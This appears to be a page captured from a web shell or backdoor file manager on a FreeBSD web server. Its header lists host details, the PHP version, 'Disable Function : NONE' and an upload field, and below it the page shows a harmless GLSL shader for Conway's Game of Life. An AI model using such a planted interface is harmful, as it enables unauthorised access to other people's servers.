|
Server : Apache/2.4.62 System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64 User : www ( 80) PHP Version : 8.3.8 Disable Function : NONE Directory : /domains/gohover/cell/test/webgl-game-of-life-experiment/glsl/ |
Upload File : |
#ifdef GL_ES
precision mediump float;
#endif
uniform sampler2D state;
uniform vec2 scale;
int get(vec2 offset) {
return int(texture2D(state, (gl_FragCoord.xy + offset) / scale).r);
}
void main() {
int sum =
get(vec2(-1.0, -1.0)) +
get(vec2(-1.0, 0.0)) +
get(vec2(-1.0, 1.0)) +
get(vec2( 0.0, -1.0)) +
get(vec2( 0.0, 1.0)) +
get(vec2( 1.0, -1.0)) +
get(vec2( 1.0, 0.0)) +
get(vec2( 1.0, 1.0));
if (sum == 3) {
gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
} else if (sum == 2) {
float current = float(get(vec2(0.0, 0.0)));
gl_FragColor = vec4(current, current, current, 1.0);
} else {
gl_FragColor = vec4(0.0, 0.0, 0.0, 1.0);
}
}